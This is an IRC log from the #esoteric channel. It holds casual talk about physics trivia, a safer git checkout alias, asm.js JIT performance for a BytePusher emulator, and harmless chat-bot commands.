05:35:30 <shachaf> hectojoule, i assume
05:35:34 <hppavilion[1]> oerjan: Yep, you thought it was dirty, when it wasn't
05:35:36 * hppavilion[1] wins
05:35:41 <hppavilion[1]> * happydance
05:35:50 <oerjan> IT WAS A TRAP
05:35:55 <\oren\> I know what oerjan was thinking
05:35:59 <hppavilion[1]> oerjan: It was not
05:36:13 <hppavilion[1]> I'm still trying to figure it out. My best guess is H=hand
05:36:36 <hppavilion[1]> Of course, I prefer the Large Boson Collider to the Large Hadron Collider any day
05:37:37 <hppavilion[1]> (OK, I have to ask: Is there a physics reason why Boson collisions aren't interesting? Or are they just impossible to deal with in the same way the LHC deals with Hadrons, so we had to make a choice and chose to make a Large Hadron Collider instead of a Large Boson Collider?)
05:38:37 <hppavilion[1]> oerjan: Of course, if it makes you feel better, my mind is almost certainly dirtier than yours; I just happen to have developed a filter that prevents me from saying 999.9999999999952‰ of things that come to mind
05:38:54 <oerjan> hppavilion[1]: you can collide composite nuclei that are bosons, i think.
05:39:16 <hppavilion[1]> oerjan: Wait, I forget, are Hadrons and Bosons mutually exclusive?
05:39:21 <hppavilion[1]> God, so many particle types
05:39:28 <oerjan> i think they are colliding lead, but i'm not sure whether they're bosonic or fermionic.
05:40:26 <oerjan> hppavilion[1]: no, mesons are hadrons and bosons iirc. but you cannot keep them long enough to use them.
05:40:32 <hppavilion[1]> oerjan: Ah
05:40:52 <hppavilion[1]> Is there a meson called the Black Meson?
05:41:17 <hppavilion[1]> (A reference, of course, to Black Mesa from various Valve games I've never played)
05:41:45 <oerjan> basically protons, electrons, and their antiversions are the only charged subatomic particles that live long enough to be used, i think.
05:42:16 <oerjan> hppavilion[1]: i don't think there's one, they're usually named after greek letters.
05:42:23 <hppavilion[1]> oerjan: Yeah :/
05:43:16 <hppavilion[1]> oerjan: ...question #492 on my Grand List of Questions: How the hell can there be such thing as an "Anti-neutron"? If an antiparticle has the opposite charge, and a neutron has no charge, how can there be such a thing as the opposite of 0?
05:45:34 <oerjan> hppavilion[1]: btw i think some people are trying to collide photons, which are bosons.
05:46:24 <hppavilion[1]> oerjan: ...collide photons? You have something moving at literally the speed of light, and which from its point of view the entire universe is in the same place, and you're trying to make them hit each other?
05:47:32 <oerjan> hppavilion[1]: the anti-neutron consists of 3 anti-quarks, each of which is the antiparticle of a corresponding quark in the neutron.
05:47:48 <hppavilion[1]> oerjan: Ah, yes, that works
05:47:57 <hppavilion[1]> I forgot about quarks
05:48:17 <hppavilion[1]> I wonder what we're going to call it when we find something smaller than a quark... (don't argue, you know it's going to happen)
05:48:25 <oerjan> (for a certain value of "consists". there are all manner of virtual gluons and quarks inside.)
05:50:31 <oerjan> hppavilion[1]: i didn't say getting photons to collide is easy. (and i'm not sure whether it was supposed to be within currently realistic technology or not.)
05:50:51 <oerjan> although you just to aim enough in the same spot, you'd think.
05:50:56 <oerjan> *+have
05:51:27 <hppavilion[1]> oerjan: Furthermore, you'd think that a couple photons would have collided at some point near a scientific instrument in the last decade or so
05:51:44 <hppavilion[1]> I mean, photons are small
05:51:50 <hppavilion[1]> But there are also a lot of them
05:52:03 <hppavilion[1]> It doesn't seem like they could /not/ collide if it was possible
05:54:07 <oerjan> hppavilion[1]: fwiw your question about anti-neutrons applies much better to anti-_neutrinos_. (in which case something called "chirality" related to spin becomes reversed)
05:55:25 <oerjan> but neutrinos are so weird some theorize they are their own antiparticles ("Majorana neutrinos")
06:00:53 <hppavilion[1]> Santorum: "If people thought about gay sex as much as I do, they'd understand how disgusting it is"
06:02:37 <oerjan> O KAY
06:03:17 <shachaf> oerjan: Like Chu spaces?
06:03:32 <oerjan> shachaf: wat
06:03:35 <shachaf> And vector spaces, I guess.
06:03:41 <shachaf> self-dual
06:05:43 <oerjan> sounds a bit of a thin connection
06:05:58 <oerjan> (no pun intended)
06:06:19 -!- Xe has quit (Ping timeout: 260 seconds).
06:06:31 <oerjan> (or recognized)
06:06:58 <shachaf> Well, it's not all that thin, because I was thinking of Chu spaces just now.
06:09:58 <oerjan> practically monofilamentary
06:10:55 <shachaf> Do you like Chu spaces?
06:13:17 <hppavilion[1]> "Would you rather be able to fly, but only at 0.000001c, or be able to breath underwater, but only for a millicentury"
06:13:42 <hppavilion[1]> ^^^good "would you rather" to differentiate those who do understand math/physics/SI/etc from those who do not
06:14:31 <shachaf> please reconsider the perspective that leads you to write a sentence like that twh
06:14:42 <hppavilion[1]> shachaf: Me?
06:14:48 <shachaf> you
06:14:52 <hppavilion[1]> shachaf: Me?
06:15:13 * hppavilion[1] desperately scrambles for a joke to make out of this
06:15:28 <hppavilion[1]> shachaf: Which perspective in particular?
06:17:20 <hppavilion[1]> shachaf: I don't see which perspective I need to reconsider
06:17:29 <hppavilion[1]> There are a few I need to deconsider, though
06:24:03 -!- ^v has quit (Quit: ZNC - http://znc.in).
06:24:24 -!- ^v has joined.
06:36:02 <oerjan> hppavilion[1]: always decant cider
06:40:35 <\oren\> I prefer Pika spaces
06:40:44 <\oren\> there
06:41:17 <hppavilion[1]> https://en.wikipedia.org/wiki/As_Slow_as_Possible: A 640-year song
06:56:55 <hppavilion[1]> I can't help but read https://en.wikipedia.org/wiki/Rastafari in a stereotypical Jamaican accent
06:57:09 <hppavilion[1]> At least, specific subsegments
06:58:23 <oerjan> obviously you should sing it to a reggae beat hth
07:20:07 -!- Xe has joined.
07:50:20 <b_jonas> oerjan: um, if symlinks don't work, then could we have some other mechanism for aliasing wisdoms then?
07:55:21 -!- lambda-11235 has quit (Quit: Bye).
08:04:56 <oerjan> maybe.
08:05:16 <shachaf> I've wanted to set something like that up.
08:05:38 <shachaf> Wisdom redirects or something. Wisdom wildcards. Who even, like, knows, man.
08:24:26 <b_jonas> shachaf: so add a wisdom/location directory, and if wisdom/$foo is not found, wisdom/location/$foo is read and it gives the canonical name to redirect to
08:24:46 <shachaf> How is that an improvement over links?
08:24:55 <b_jonas> shachaf: not broken by revert
08:25:08 <shachaf> Oh, is that what it was about?
08:25:26 <oerjan> yeah
08:26:39 <oerjan> mind you, with any kind of links you have the problem that the two versions either may get accidentally out of sync, or accidentally edited together when the edit only fits one of them.
08:40:52 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
08:50:07 -!- oerjan has quit (Quit: Nite).
08:51:14 -!- Akaibu has quit (Quit: Connection closed for inactivity).
09:50:55 -!- S1_p has joined.
09:51:32 <S1_p> Oh, the wisdomme is back. Yay.
09:55:45 -!- xkapastel has quit (Quit: Connection closed for inactivity).
10:09:47 -!- Phantom_Hoover has joined.
10:26:18 -!- Koen_ has joined.
10:26:32 <Koen_> hello
10:34:33 <Phantom_Hoover> hello
10:35:01 <Phantom_Hoover> why is glogbot broken again
10:46:59 <b_jonas> Ok, so I think I want to set up an alias that can do a git checkout to an existing branch, but will absolutely refuse to do the file restore operation that the git checkout command also does.
10:47:30 <b_jonas> Also, I'd like it to print the previous branch or commit that was checked out, so it's easy to follow what happens.
10:49:58 <b_jonas> git checkout is just too dangerous as is
10:52:51 <b_jonas> I wonder how to convince git checkout to do this.
10:53:17 <fizzie> You'd want it to update what HEAD points at and maybe the index, but not do anything to the working tree?
10:53:38 <b_jonas> fizzie: no, I do want to do a full checkout, as in update the working tree and the index too
10:53:52 <fizzie> Oh, just disallow the variant of checkout that takes paths?
10:53:58 <b_jonas> fizzie: yes, that
10:54:28 <b_jonas> git's syntax for objects and paths are horribly ugly, and there are magical syntaxes that apply to both but have a completely different meaning
10:54:47 <b_jonas> like, :/foo is both a path and an object, but the :/ means something completely different
10:54:58 <b_jonas> the syntax is just horrible
10:55:43 <b_jonas> svn does this much better, there the syntax of urls (pointing to a file in a repository, or a version of a file in a repository) have a syntax that's not only disjoint from that of paths, but also visually different
10:55:49 <b_jonas> so you can't accidentally confuse them
10:56:12 <b_jonas> and the git checkout interface is horrible because it combines a safer operation with a very unsafe irreversible operation
11:00:56 <fizzie> You might just allow -- in a script -- unambiguously-an-existing-branch-and-nothing-else options, and then fall back to being careful and using the raw command if you need to do something strange.
11:01:03 <fizzie> Hopefully that'd cover most branch-switches.
11:22:45 -!- Phantom_Hoover has quit (Remote host closed the connection).
11:25:34 -!- Phantom_Hoover has joined.
11:35:17 -!- boily has joined.
11:36:53 -!- hppavilion[1] has joined.
11:37:53 -!- Phantom_Hoover has quit (Remote host closed the connection).
11:38:40 -!- Phantom_Hoover has joined.
11:41:16 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
11:42:38 -!- Phantom_Hoover has quit (Remote host closed the connection).
11:43:06 -!- Phantom_Hoover has joined.
11:51:03 <b_jonas> fizzie: I don't know, it's probably possible to solve in some way like that, but I'll have to do some careful testing on it
11:52:04 <b_jonas> I certainly don't want to checkout only existing branches. I often checkout -b to create a new branch (from HEAD or another commit), but the script can probably test for that.
11:52:36 <HackEgo> [wiki] [[~-~!]] https://esolangs.org/w/index.php?diff=47099&oldid=40050 * 80.7.4.196 * (+5) Fixed a bug - & has a higher precedence than -, so the - following it had to be wrapped in <>
11:53:04 <b_jonas> hey, maybe I could make a script that does like (git checkout -B foo foo) to checkout branch foo
11:53:13 <izabera> how do you pronounce ~-~!
11:53:38 <b_jonas> but... why can't git just have at least an unambiguous long switch or command to force this, to make my life easier?
11:54:10 <b_jonas> and when I solve this, I'll still have to solve the interface of git reset and git branch, although for those the ambiguity is less dangerous and for git branch I think I already know the solution
11:54:38 -!- gamemanj has joined.
12:10:34 -!- IvanSiber has joined.
12:15:01 <boily> `relcome IvanSiber
12:15:23 <IvanSiber> hey boily
12:15:32 <HackEgo> IvanSiber: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
12:18:17 <HackEgo> [wiki] [[~-~!]] https://esolangs.org/w/index.php?diff=47100&oldid=47099 * 80.7.4.196 * (+1) Added a : to the end of write comment
12:20:30 -!- J_Arcane has quit (Quit: ChatZilla 0.9.92-rdmsoft [XULRunner 35.0.1/20150122214805]).
12:28:36 -!- boily has quit (Quit: OPPOSITE CHICKEN).
12:29:54 -!- J_Arcane has joined.
12:35:58 <b_jonas> Ok, I set up an alias such that (git switch foo) will do the same as (git checkout foo --). This works even with multiple arguments, and shouldn't checkout paths, unless I explicitly pass "--" as an argument.
12:35:59 -!- PinealGlandOptic has joined.
12:39:07 <gamemanj> ok, so my previous messing around during this week has finally come to a conclusion:
12:39:10 <gamemanj> https://dl.dropboxusercontent.com/u/21184720/kyouma/index.html
12:43:07 -!- Akaibu has joined.
12:43:42 -!- Phantom_Hoover has quit (Remote host closed the connection).
12:44:02 -!- Phantom_Hoover has joined.
12:44:08 <rntz> tswett: "i,i" means roughly "I have nothing to contribute, I just like saying", i.e. it's a prefix for off-topic one-liners
12:44:30 <rntz> comes from CMU zephyr (an old messaging protocol), I think
12:45:35 <b_jonas> `? oona
12:45:50 <HackEgo> oona? ¯\(°​_o)/¯
12:45:51 <b_jonas> `card-by-name oona
12:45:54 <HackEgo> Oona's Blackguard \ 1B \ Creature -- Faerie Rogue \ 1/1 \ Flying \ Each other Rogue creature you control enters the battlefield with an additional +1/+1 counter on it. \ Whenever a creature you control with a +1/+1 counter on it deals combat damage to a player, that player discards a card. \ MOR-U \ \ Oona's Gatewarden \ (u/b) \ Creature -- Faerie
12:45:58 <b_jonas> `card-by-name oona,
12:46:00 <HackEgo> Oona, Queen of the Fae \ 3(u/b)(u/b)(u/b) \ Legendary Creature -- Faerie Wizard \ 5/5 \ Flying \ {X}{(u/b)}: Choose a color. Target opponent exiles the top X cards of his or her library. For each card of the chosen color exiled this way, put a 1/1 blue and black Faerie Rogue creature token with flying onto the battlefield. \ SHM-R, MMA-R, V11-M
12:51:43 -!- S1_p has quit.
12:54:06 -!- puckipedia has quit (Ping timeout: 244 seconds).
12:59:10 -!- puckipedia has joined.
13:08:13 -!- J_Arcane has quit (Quit: ChatZilla 0.9.92-rdmsoft [XULRunner 35.0.1/20150122214805]).
13:10:21 -!- MoALTz has joined.
13:14:29 -!- J_Arcane has joined.
13:18:52 <fizzie> Oona is the 175th most common female name in Finland, with ~7500 people.
13:19:26 <APic> Interesting.
13:19:36 <HackEgo> [wiki] [[~-~!]] https://esolangs.org/w/index.php?diff=47101&oldid=47100 * 80.7.4.196 * (+105) Grammar and clarification
13:21:23 <HackEgo> [wiki] [[~-~!]] https://esolangs.org/w/index.php?diff=47102&oldid=47101 * 80.7.4.196 * (-1) Changed associativity of &
13:22:59 <HackEgo> [wiki] [[~-~!]] https://esolangs.org/w/index.php?diff=47103&oldid=47102 * 80.7.4.196 * (-2) Bugfix - removed trailing :
13:29:36 <HackEgo> [wiki] [[~-~!]] https://esolangs.org/w/index.php?diff=47104&oldid=47103 * 80.7.4.196 * (+173) Clarification about :
13:30:33 <HackEgo> [wiki] [[~-~!]] https://esolangs.org/w/index.php?diff=47105&oldid=47104 * 80.7.4.196 * (+1) Bugfix - removed trailing :
13:31:40 <gamemanj> I'm getting the feeling asm.js should be classed as esoteric simply because of the crazy type checking
13:31:46 <gamemanj> It's endless type checking
13:33:44 <Phantom_Hoover> not really
13:34:05 <Phantom_Hoover> it's just a ton of casts to 32-bit int
13:35:19 <gamemanj> If I'm trying to be nice, I'd say asm.js is a version of LLVM for the web, but now the type annotations are weirder.
13:35:47 <Phantom_Hoover> i don't know much about llvm but i'm sceptical
13:36:21 <gamemanj> Eh, LLVM's relatively nice, it's like asm.js but you write in actual human-understandable string names for the type names instead of having to understand the exact details of how + modifies it's parameters.
13:36:37 <gamemanj> Then again, it's SSA.
13:36:50 <gamemanj> Then again again, people just stackalloc everything anyway.
13:36:57 <Phantom_Hoover> asm.js can basically only work with 32-bit ints, that's one big difference
13:37:15 <gamemanj> hmm, that's true
13:37:38 <gamemanj> Wonder how they're going to weasel their way out of that one when it inevitably reaches the point where applications are limited
13:37:59 <Phantom_Hoover> i don't think they will
13:38:17 <gamemanj> Ah, you mean browser vendors will just detect this sort of thing?
13:39:05 <Phantom_Hoover> no it'll just only be used to write fast code operating on 32-bit ints
13:39:34 <gamemanj> Hmm, a possibility.
13:40:10 <gamemanj> Now then, time to go use 32MiB instead of 16 because asm.js wants me to jump up to the next power of two to avoid a bounds check. Seriously.
13:40:36 <gamemanj> (The ironic thing is that I added the 8 extra bytes because this is how to avoid bounds checks on BytePusher)
13:41:32 <gamemanj> ...either that or I technically violate specification...
13:41:46 <gamemanj> ...eh, violating specification it is.
13:41:59 -!- PinealGlandOptic has quit (Quit: leaving).
13:44:29 <gamemanj> ...and now the browser gives me a second annoyance... "unable to cache asm.js in synchronous scripts"???
13:45:23 <gamemanj> I sincerely hope that the lack of caching refers to if I happen to compile the same function twice, and not if I happen to reuse the same function instance...
13:45:26 <Phantom_Hoover> the skullcode vm is in asm.js, i actually find it a lot more readable than the minified JS that defines all the interface code
13:45:44 <gamemanj> Well, there is readable asm.js out there
13:47:41 -!- Sgeo has quit (Ping timeout: 240 seconds).
13:48:50 <gamemanj> Post-ASM.JS version of JIT, performance seems to be...worse than with the Pre-ASM.JS version of the JIT, judging by the now-stuttering audio...
13:49:21 <gamemanj> Though it does keep having little bits where it runs normally...
13:49:38 <Phantom_Hoover> lol
13:49:48 -!- zadock has joined.
13:50:21 <gamemanj> Like, audio was always this "clicky", but it didn't outright stop as much. Good thing I have a backup of the pre-ASM.JS'd JIT.
13:51:12 -!- zadock has quit (Remote host closed the connection).
13:51:38 <gamemanj> It seems it's actually not compiling more segments - it's literally just the overhead from running the asm.js.
13:52:30 <gamemanj> I knew there'd be some entry/exit overhead due to the nature of the JIT, which would offset the benefit somewhat, but this bad?
13:52:32 <Phantom_Hoover> you are running this on a JS interpreter which can compile the asm.js into machine code, right?
13:52:42 <gamemanj> Firefox. Hence I was getting asm.js warnings.
13:52:52 <gamemanj> Which I then resolved,
13:53:02 <gamemanj> but it doesn't seem to have helped that much...
13:53:14 <gamemanj> It's saying "successfully compiled asm.js code".
13:55:19 <Phantom_Hoover> hang on are you writing asm.js manually??
13:55:37 <gamemanj> I should probably explain what's going on
13:55:45 <gamemanj> I'm writing a BytePusher JIT
13:56:01 <gamemanj> That JIT compiles segments of BytePusher code into JavaScript
13:56:13 <gamemanj> I then changed it to write it into asm.js
13:56:19 <gamemanj> Pre-ASM.JS: https://dl.dropboxusercontent.com/u/21184720/kyouma/index.html
13:56:23 <gamemanj> Post-ASM.JS: https://dl.dropboxusercontent.com/u/21184720/kyouma-asm/index.html
13:57:10 <gamemanj> What I at least notice is that although pre-asm.js, it's stuttery, once the VM loads up segments most of the problems are just due to my bad audio code.
13:57:26 <gamemanj> Post-asm.js, it just doesn't stop stuttering.
13:59:11 <gamemanj> A possibility is that perhaps the asm.js entry overhead causes the "which segment should be used for execution" code to be a lot slower, causing issues.
13:59:38 <gamemanj> This means that the issue should be resolved by making a non-ASM.JS copy of that code.
14:00:33 <gamemanj> (note: Multiple versions of one segment may be compiled for different circumstances. I assumed the "which segment to use" routine would benefit from asm.js, but I may well be wrong.)
14:03:50 -!- jaboja has joined.
14:08:02 <Akaibu> yo gamemanj do you know about jsMESS?
14:08:12 <Akaibu> that might help with what ever your doing
14:08:24 <gamemanj> Akaibu: Nope, but I can guess. And anyway, I'm messing with BytePusher, so...
14:08:54 <Akaibu> https://github.com/jsmess/jsmess www.archiveteam.org/index.php?title=Javascript_Mess
14:11:00 <Akaibu> gamemanj: ^
14:12:03 <gamemanj> Well, I'm not using emscripten ^.^;
14:13:31 <Akaibu> good to take tips though gamemanj
14:13:57 <HackEgo> [wiki] [[~-~!]] https://esolangs.org/w/index.php?diff=47106&oldid=47105 * 80.7.4.196 * (+3079) Finally fleshed out library semantics
14:14:09 <b_jonas> `? can has
14:14:53 <HackEgo> can has? ¯\(°​_o)/¯
14:15:25 <gamemanj> True, but this is a JIT, not a standard interpreter (I already tried that with hand-written asm.js and got pretty good performance from it - I'm JITing things to try and improve on that.). If someone had a guide to asm.js efficiency in there, then that would be useful.
14:17:27 <gamemanj> Basically, of the 3, performance seems to be so far: [asm.js interpreter] > [Javascript-compiling JIT] > [asm.js-compiling JIT]
14:18:42 <Phantom_Hoover> wait so you're regularly JITing blocks of bytepusher into asm.js? yeah i expect it's the startup overhead then
14:19:01 <gamemanj> Well, at first there's obviously segment compilation overhead
14:19:10 <gamemanj> But then there are times when it's slow and it's not compiling any segments
14:21:47 <gamemanj> For example, during the initial startup phase, when it's generating tables (the program's 32k) it goes through the "base set" initialization, and that's relatively fast with not much segment compilation, followed by the first page of the "banks" initialization, which does tons of segment compilation, followed by the rest which does almost none.
14:22:20 <gamemanj> Then, for the first few letters it displays on screen it's still compiling bits of the font renderer...
14:22:36 <gamemanj> But after that, it shouldn't be as slow as it ends up being.
14:22:50 <gamemanj> Compiled segments value drops.
14:28:16 <gamemanj> Ok, uploaded new version, this time it has "CS" and "F" stats (CS is how many segments it's compiled so far this frame, F is which frame the VM is on.)
14:29:44 <gamemanj> It's a bit telling that the asm.js version is laggy during the first 4 seconds while the non-asm.js version isn't as laggy, even though CS:0 for all but a few frames...
14:29:51 <gamemanj> (both are JITs)
14:30:16 <gamemanj> I must be making a very serious mistake in how I write my asm.js...
14:52:12 -!- Cale has quit (Quit: Leaving).
14:52:51 -!- Cale_ has joined.
14:55:37 -!- Cale_ has changed nick to Cale.
14:58:18 -!- `^_^v has joined.
15:03:13 -!- IvanSiber has left.
15:04:24 -!- spiette has joined.
15:24:58 -!- jaboja has quit (Ping timeout: 244 seconds).
15:50:03 -!- adu has joined.
16:06:52 -!- lambda-11235 has joined.
16:10:57 -!- coppro has quit (Remote host closed the connection).
16:32:20 -!- Reece` has joined.
16:55:01 -!- xkapastel has joined.
16:57:48 -!- Phantom_Hoover has quit (Remote host closed the connection).
17:02:08 -!- Phantom_Hoover has joined.
17:25:15 <b_jonas> `? pokedex
17:26:02 <HackEgo> pokedex? ¯\(°​_o)/¯
17:26:07 <b_jonas> `? pokédex
17:26:17 <HackEgo> pokédex? ¯\(°​_o)/¯
17:27:40 <b_jonas> `? evolving
17:27:43 <HackEgo> evolving? ¯\(°​_o)/¯
17:27:48 <b_jonas> `? super effective
17:27:50 <HackEgo> super effective? ¯\(°​_o)/¯
17:27:53 <b_jonas> `? critical hit
17:27:56 <HackEgo> critical hit? ¯\(°​_o)/¯
17:28:25 <\oren\> `? ポケモン図鑑
17:28:29 <HackEgo> ​ポケモン図鑑? ¯\(°​_o)/¯
17:28:32 -!- Koen_ has quit (Remote host closed the connection).
17:31:42 -!- Koen_ has joined.
17:34:39 <int-e> hmm a supercritical hit
17:35:55 <\oren\> is that the same as a its super effective critical hit?
17:36:15 <gamemanj> Since installing Unifont, my ability to see the symbols you post has increased by orders of magnitude. My ability to understand them has not.
17:51:01 <int-e> \
17:51:13 <int-e> \oren\: I was looking for a connection to supercritical fluids
18:55:50 -!- Koen_ has quit (Remote host closed the connection).
18:58:49 -!- jaboja has joined.
19:06:44 -!- lambda-11235 has quit (Read error: Connection reset by peer).
19:14:28 -!- hwpplayer1 has joined.
19:15:35 -!- hppavilion[1] has joined.
19:19:03 -!- lambda-11235 has joined.
19:21:31 <hppavilion[1]> From the Wikipedia article on "Computus", the family of algorithms one uses to calculate the date of Easter because one's church is a massive pain in the ass and doesn't just choose a fixed, symbolic date:
19:21:33 <hppavilion[1]> "The last limit arises from the fact that the crucifixion was considered to have happened on the fourteenth (the eve of the Passover) and the resurrection therefore on the sixteenth."
19:21:54 <hppavilion[1]> Um... Christianity? Are you sure you can really math?
19:32:09 -!- Koen_ has joined.
19:39:02 <hppavilion[1]> Instead of "The more you know", we (the population of the internet) should use "the less you look like a dumbass"
19:41:35 -!- `^_^v has quit (Quit: This computer has gone to sleep).
19:41:57 -!- `^_^v has joined.
19:49:59 -!- lynn_ has joined.
19:50:10 -!- lynn_ has quit (Client Quit).
20:00:11 <gamemanj> Why not use both?
20:00:19 <Koen_> that would make a whole sentence!
20:03:51 <int-e> in two different ways
20:03:57 -!- `^_^v has quit (Quit: This computer has gone to sleep).
20:05:30 -!- `^_^v has joined.
20:05:56 -!- digitalcold has quit (Read error: Connection reset by peer).
20:06:56 -!- digitalcold has joined.
20:12:37 -!- lambda-11235 has quit (Read error: Connection reset by peer).
20:13:36 <hppavilion[1]> https://www.reddit.com/r/retiredgif is amazing
20:14:13 -!- lambda-11235 has joined.
20:43:38 -!- lambda-11235 has quit (Read error: Connection reset by peer).
20:47:43 -!- hwpplayer1 has left.
20:49:44 -!- lambda-11235 has joined.
20:50:29 -!- Moon_ has joined.
20:50:36 <Moon_> hi
20:58:08 <hppavilion[1]> OMG
20:58:13 <hppavilion[1]> Physics has a thing called "Sparticles"
20:58:20 <Moon_> .-
20:58:25 <Moon_> well then
21:14:22 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
21:20:12 -!- Koen__ has joined.
21:23:00 -!- Koen_ has quit (Ping timeout: 272 seconds).
21:27:07 -!- nycs has joined.
21:27:39 -!- `^_^v has quit (Ping timeout: 276 seconds).
21:35:21 -!- shachaf has set topic: The intradisciplinary hub of solidity matrices, esoteric programming language design, and font forging | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf.
21:35:33 <shachaf> `welcome shachaf
21:35:54 <int-e> `bye
21:36:11 <shachaf> `snackego
21:36:25 <HackEgo> shachaf: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
21:36:25 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: bye: not found
21:36:27 <HackEgo> ​:)
21:38:45 <gamemanj> At some point someone ought to port a text adventure to HackEgo...
21:39:11 <gamemanj> That is, make it save on input, and reload when given a line of input
21:40:46 -!- hppavilion[1] has joined.
21:45:47 <\oren\> i once was a font forager now am a font forger
21:48:08 <b_jonas> `? font
21:48:11 <HackEgo> ​#esoteric bitmap fonts include: \oren\'s font http://www.orenwatson.be/fontdemo.htm , lifthrasiir's font https://github.com/lifthrasiir/unison/ https://lifthrasiir.github.io/unison/sample.png , b_jonas's font http://www.math.bme.hu/~ambrus/pu/fecupboard20-c.pcf.gz
21:48:22 <b_jonas> wasn't there a fourth one?
21:48:37 -!- Reece` has quit (Ping timeout: 260 seconds).
21:49:29 <Moon_> gamemanj, hw about me?
21:49:32 -!- Cimmerian888 has joined.
21:49:32 <Moon_> i can do it
21:49:48 <gamemanj> ?
21:50:05 <Moon_> [16:38] <gamemanj> At some point someone ought to port a text adventure to HackEgo... [16:39] <gamemanj> That is, make it save on input, and reload when given a line of input
21:50:13 <gamemanj> Well, it would be fun, if you want to ^.^ (though it might end up playing like Twitch Plays <insert game here>)
21:50:17 <b_jonas> \oren\: by the way, I just checked http://www.orenwatson.be/fontdemo.htm , and strangely the webfont doesn't show up for me. but it's probably a problem on my side again
21:50:37 <gamemanj> b_jonas: I can confirm the font is visible, and I do not have the font installed.
21:50:37 <Moon_> ill allow save selection for ease of use :P
21:50:43 <b_jonas> gamemanj: thanks
21:50:52 <gamemanj> However, there is one major issue with the font...
21:50:59 <gamemanj> ⑨ appears incorrectly.
21:51:35 <Moon_> is that a be- wait thats infinity, i play dwarf fortress too much
21:52:34 <gamemanj> Moon_: ⑨ is not infinity...
21:52:43 <Moon_> oh, what is it?
21:53:16 * gamemanj disappeared in a puff of smoke (Ping timeout: 256 seconds)
21:53:31 <\oren\> gamemanj: wait did i nitmove those yet? shit i must[have firgotten
21:54:17 <\oren\> uhhh... how did he get it to say that?
21:54:35 <shachaf> `wisdom
21:54:36 <shachaf> `wisdom
21:54:37 <shachaf> `wisdom
21:54:38 <gamemanj> oren: ?
21:54:38 <shachaf> `wisdom
21:54:39 <shachaf> `wisdom
21:54:48 <Moon_> shachaf, calm down >_>
21:54:59 <Moon_> no need to spam hackego
21:55:09 <\oren\> it said gamemanj disappeared in a puff of smoke ping timeout
21:55:10 <gamemanj> oren: Aha. Your chat client doesn't colour the difference between quits and /me.
21:55:24 <gamemanj> oren: I can tell simply by the fact you were fooled by it!
21:56:13 <HackEgo> No output.
21:56:27 <HackEgo> nœd//Nœd is Norwegian for distress.
21:56:27 <HackEgo> boring//
21:56:27 <HackEgo> brick//Brick goes in brain. The statutory punishment for perpetrators of brainfuck derivatives.
21:56:28 <HackEgo> did//did: didn't
21:56:31 * Moon_ Moon_ [4c01498a@gateway/web/freenode/ip.76.1.73.138] has quit [Bia]
21:56:37 <\oren\> my crap ssh app doesnt support the advqnced colors
21:56:43 <Moon_> oh
21:56:44 <Moon_> woops
21:56:47 <Moon_> i made a mistake
21:56:50 <Moon_> wow
21:56:54 <Moon_> i ruined my chance
21:57:10 <\oren\> im on my phone right now
21:57:20 <Moon_> what brand?
21:57:37 <Moon_> actually: what os/
21:57:39 <\oren\> android samsung galaxy lte
21:58:01 <Moon_> ok: termux -> weechat -> #esoteric
21:58:15 <Moon_> thats the esoteric way :P
21:59:40 <\oren\> i wish i had a physical keybiatd on this phone
21:59:58 <Moon_> termux is a terminal emulator
22:00:01 -!- gamemanj has quit (Ping timeout: 240 seconds).
22:00:09 <\oren\> then i could type with less mistakes
22:00:14 <Moon_> lol
22:02:43 <\oren\> ifeally it would have a full 104 key keyboard and flip open
22:06:13 <int-e> and a d key that's exactly where you need it?
22:07:13 <\oren\> yed
22:07:41 <\oren\> aarfg
22:07:47 -!- `^_^v has joined.
22:07:57 -!- nycs has quit (Ping timeout: 244 seconds).
22:07:58 <\oren\> aaaaaaaaaasqaqqaaaaaaaaaasassaaaaaassaaaaaqaq
22:08:34 -!- Cimmerian888 has quit (Quit: Textual IRC Client: www.textualapp.com).
22:16:11 -!- adu has quit (Quit: adu).
22:27:31 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
22:31:00 <Quintopia> Mooooooooooooooooon!
22:32:59 -!- Quintopia has changed nick to quintopia.
22:36:52 -!- Nithogg_ has quit (Ping timeout: 252 seconds).
22:39:20 -!- Nithogg_ has joined.
22:41:07 -!- adu has joined.
22:51:15 -!- Akaibu has quit (Quit: Connection closed for inactivity).
23:01:18 -!- Sgeo has joined.
23:10:45 -!- boily has joined.
23:12:20 -!- hppavilion[1] has joined.
23:13:10 <hppavilion[1]> Obviously, dx/dy = x/y
23:13:13 * hppavilion[1] ducks
23:14:30 <shachaf> Unless d = 0
23:14:51 <hppavilion[1]> shachaf: Well yeah, but we don't talk about edge cases
23:14:58 <hppavilion[1]> What is this, math!?
23:16:05 <shachaf> I have a very fast edge detection algorithm.
23:16:20 <hppavilion[1]> If the first time derivative of a changing position is its velocity and the second is acceleration, what's the third time derivative?
23:16:21 <shachaf> It's very accurate, except in edge cases.
23:16:32 <hppavilion[1]> My guess is that it's the change in acceleration
23:16:40 <shachaf> `? jerk
23:16:41 <HackEgo> Jerk is the integral of snap.
23:17:55 <hppavilion[1]> Oh, it was explained in literally the very next sentence
23:17:57 <hppavilion[1]> And it's jerk
23:18:00 -!- spiette has quit (Quit: :qa!).
23:18:06 <hppavilion[1]> Which shachaf was trying to explain
23:18:10 <shachaf> or are you the jerk here
23:18:12 <shachaf> oh snap
23:18:24 <shachaf> (that's what the kids say these days, right?)
23:18:49 <hppavilion[1]> And let me guess, snap is the change in jerk?
23:19:00 <hppavilion[1]> shachaf: Bearing says that occasionally, but nobody else
23:19:28 <hppavilion[1]> But what's the negative first derivative of a changing position?
23:19:39 <hppavilion[1]> Oh wait, negative derivatives are probably integrals
23:19:42 <hppavilion[1]> So...
23:19:49 <hppavilion[1]> What's the integral of a changing position?
23:19:56 <shachaf> oh man, you read the spoilers
23:19:58 <boily> hppavellon[1]. have you discovered the wonderful world of fractional derivatives?
